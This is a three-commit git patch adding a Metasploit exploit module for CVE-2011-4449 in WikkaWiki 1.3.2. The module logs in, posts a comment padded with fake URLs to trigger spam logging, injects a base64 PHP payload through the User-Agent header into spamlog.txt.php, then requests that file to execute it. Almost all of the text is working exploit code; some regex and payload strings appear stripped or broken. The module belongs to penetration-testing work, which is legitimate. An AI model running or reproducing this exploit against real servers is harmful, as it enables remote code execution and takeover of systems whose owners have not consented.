From 86c3ad5e0c829561a7855cb77e76a0e849a50159 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 10 May 2012 11:57:40 -0500 Subject: [PATCH 1/3] Add CVE-2011-4449 --- .../exploits/multi/http/wikka_spam_exec.rb | 235 ++++++++++++++++++ 1 file changed, 235 insertions(+) create mode 100644 modules/exploits/multi/http/wikka_spam_exec.rb diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb new file mode 100644 index 0000000000..fa6f1f6c45 --- /dev/null +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -0,0 +1,235 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", + 'Description' => %q{ + This module exploits a vulnerability found in WikkaWiki. When the spam logging + feature is enabled, it is possible to inject PHP code into the spam log file, and + then request it to execute our payload. There are at least three different ways + to trigger spam protection, this module does so by generating 10 fake URLs in a + comment (by default, the max_new_comment_urls parameter is 6). + + Please note that in order to use the injection, you must manually pick a page + first that allows you to add a comment, and then set it as 'PAGE'. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'EgiX', #Initial discovery, PoC + 'sinn3r' #Metasploit + ], + 'References' => + [ + ['CVE', '2011-4449'], + ['OSVDB', '77391'], + ['EDB', '18177'], + ['URL', 'http://wush.net/trac/wikka/ticket/1098'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Arch' => ARCH_PHP, + 'Platform' => ['php'], + 'Targets' => + [ + ['WikkaWiki 1.3.2 r1814', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Nov 30 2011", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'WikkaWiki username']), + OptString.new('PASSWORD', [true, 'WikkaWiki password']), + OptString.new('PAGE', [true, 'Page to inject']), + OptString.new('TARGETURI', [true, 'The URI path to WikkaWiki', '/wikka/']) + ], self.class) + end + + + def check + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{target_uri.path}wikka.php?wakka=HomePage" + }) + + if res and res.body =~ /Powered by WikkaWiki/ + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + end + + + # + # Get the cookie before we do any of that login/exploity stuff + # + def get_cookie + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}wikka.php" + }) + + # Get the cookie in this format: + # 96522b217a86eca82f6d72ef88c4c7f4=pr5sfcofh5848vnc2sm912ean2; path=/wikka + if res and res.headers['Set-Cookie'] + cookie = res.headers['Set-Cookie'].scan(/(\w+\=\w+); path\=.+$/).flatten[0] + else + raise RuntimeError, "#{@peer} - No cookie found, will not continue" + end + + cookie + end + + + # + # Do login, and then return the cookie that contains our credential + # + def login(cookie) + # Send a request to the login page so we can obtain some hidden values needed for login + uri = "#{@base}wikka.php?wakka=UserSettings" + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri, + 'cookie' => cookie + }) + + # Extract the hidden fields + login = {} + if res and res.body =~ /\
.+\
(.+)\<\/fieldset\>.+\Login\/Register\<\/legend\>/m + fields = $1.scan(/\/) + fields.each do |name, value| + login[name] = value + end + else + raise RuntimeError, "#{@peer} - Unable to find the hidden fieldset required for login" + end + + # Add the rest of fields required for login + login['action'] = 'login' + login['name'] = datastore['USERNAME'] + login['password'] = datastore['PASSWORD'] + login['do_redirect'] = 'on' + login['submit'] = "Login" + login['confpassword'] = '' + login['email'] = '' + + port = (rport.to_i == 80) ? "" : ":#{rport}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}#{port}#{uri}" }, + 'vars_post' => login + }) + + if res and res.headers['Set-Cookie'] =~ /user_name/ + user = res.headers['Set-Cookie'].scan(/(user_name\@\w+=\w+);/)[0] || "" + pass = res.headers['Set-Cookie'].scan(/(pass\@\w+=\w+)/)[0] || "" + cookie_cred = "#{cookie}; #{user}; #{pass}" + else + cred = "#{datastore['USERNAME']}:#{datastore['PASSWORD']}" + raise RuntimeError, "#{@peer} - Unable to login with \"#{cred}\"" + end + + return cookie_cred + end + + + # + # After login, we upload the PHP payload + # + def upload_exec(cookie) + # Get the necessary fields in order to post a comment + res = send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}&show_comments=1", + 'cookie' => cookie + }) + + fields = {} + if res and res.body =~ /\
(.+)\<\/fieldset\>/m + $1.scan(/\/).each do |n, v| + fields[n] = v + end + else + raise RuntimeError, "#{@peer} - Cannot get necessary fields before posting a comment" + end + + # Generate enough URLs to trigger spam logging + urls = '' + 10.times do |i| + urls << "http://www.#{rand_text_alpha_lower(rand(10)+6)}.#{['com', 'org', 'us', 'info'].sample}\n" + end + + # Add more fields + fields['body'] = urls + fields['submit'] = 'Add' + + # Upload payload + b64_payload = Rex::Text.encode_base64(payload.encoded) + port = (rport.to_i == 80) ? "" : ":#{rport}" + uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" + post_data = "" + send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment", + 'cookie' => cookie, + 'headers' => { 'Referer' => "http://#{rhost}:#{port}/#{uri}" }, + 'vars_post' => fields, + 'agent' => "" + }) + + send_request_raw({ + 'method' => 'GET', + 'uri' => "#{@base}spamlog.txt.php" + }) + end + + + def exploit + @peer = "#{rhost}:#{rport}" + + @base = target_uri.path + @base << '/' if @base[-1, 1] != '/' + + print_status("#{@peer} - Getting cookie") + cookie = get_cookie + + print_status("#{@peer} - Logging in") + cred = login(cookie) + + print_status("#{@peer} - Triggering spam logging") + upload_exec(cred) + + handler + end +end + + +=begin +For testing: +svn -r 1814 co https://wush.net/svn/wikka/trunk wikka + +Open wikka.config.php, do: +'spam_logging' => '1' +=end \ No newline at end of file From c69e34d407e444187949658debc35874439e117d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 10 May 2012 12:02:55 -0500 Subject: [PATCH 2/3] Update description --- modules/exploits/multi/http/wikka_spam_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index fa6f1f6c45..c05172cdd7 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -17,10 +17,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => "WikkaWiki 1.3.2 Spam Logging PHP Injection", 'Description' => %q{ This module exploits a vulnerability found in WikkaWiki. When the spam logging - feature is enabled, it is possible to inject PHP code into the spam log file, and - then request it to execute our payload. There are at least three different ways - to trigger spam protection, this module does so by generating 10 fake URLs in a - comment (by default, the max_new_comment_urls parameter is 6). + feature is enabled, it is possible to inject PHP code into the spam log file via the + UserAgent header , and then request it to execute our payload. There are at least + three different ways to trigger spam protection, this module does so by generating + 10 fake URLs in a comment (by default, the max_new_comment_urls parameter is 6). Please note that in order to use the injection, you must manually pick a page first that allows you to add a comment, and then set it as 'PAGE'. From 6e8c3ad1e3c9e92f248d36ec4ae671aaac0aab48 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 10 May 2012 12:06:02 -0500 Subject: [PATCH 3/3] It's "inject", not "upload"... because technically that's what really happens. --- modules/exploits/multi/http/wikka_spam_exec.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index c05172cdd7..86f0077c91 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -156,9 +156,9 @@ class Metasploit3 < Msf::Exploit::Remote # - # After login, we upload the PHP payload + # After login, we inject the PHP payload # - def upload_exec(cookie) + def inject_exec(cookie) # Get the necessary fields in order to post a comment res = send_request_raw({ 'method' => 'GET', @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Exploit::Remote fields['body'] = urls fields['submit'] = 'Add' - # Upload payload + # Inject payload b64_payload = Rex::Text.encode_base64(payload.encoded) port = (rport.to_i == 80) ? "" : ":#{rport}" uri = "#{@base}wikka.php?wakka=#{datastore['PAGE']}/addcomment" @@ -219,7 +219,7 @@ class Metasploit3 < Msf::Exploit::Remote cred = login(cookie) print_status("#{@peer} - Triggering spam logging") - upload_exec(cred) + inject_exec(cred) handler end